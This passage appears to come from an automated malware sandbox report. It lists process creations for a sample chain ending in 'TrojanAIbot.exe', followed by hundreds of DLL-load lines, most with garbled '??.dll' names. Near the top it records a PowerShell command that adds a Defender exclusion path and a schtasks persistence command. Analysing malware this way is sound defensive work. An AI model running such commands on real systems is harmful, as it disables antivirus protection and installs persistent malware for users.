Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\server_BTC.exe "C:\Users\user\AppData\Local\Temp\server_BTC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe" /st 10:00 /du 23:59 /sc daily /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe "C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpFB9.tmp.cmd""	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process created: C:\Users\Public\Libraries\lxsyrsiW.pif C:\Users\Public\Libraries\lxsyrsiW.pif
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\neworigin.exe "C:\Users\user\AppData\Local\Temp\neworigin.exe"
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\server_BTC.exe "C:\Users\user\AppData\Local\Temp\server_BTC.exe"
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process created: C:\Users\Public\Libraries\lxsyrsiW.pif C:\Users\Public\Libraries\lxsyrsiW.pif
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\neworigin.exe "C:\Users\user\AppData\Local\Temp\neworigin.exe"
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process created: C:\Users\user\AppData\Local\Temp\server_BTC.exe "C:\Users\user\AppData\Local\Temp\server_BTC.exe"

Source: C:\Users\user\Desktop\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??????p.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\x.exe	Section loaded: ??.dll	Jump to behavior
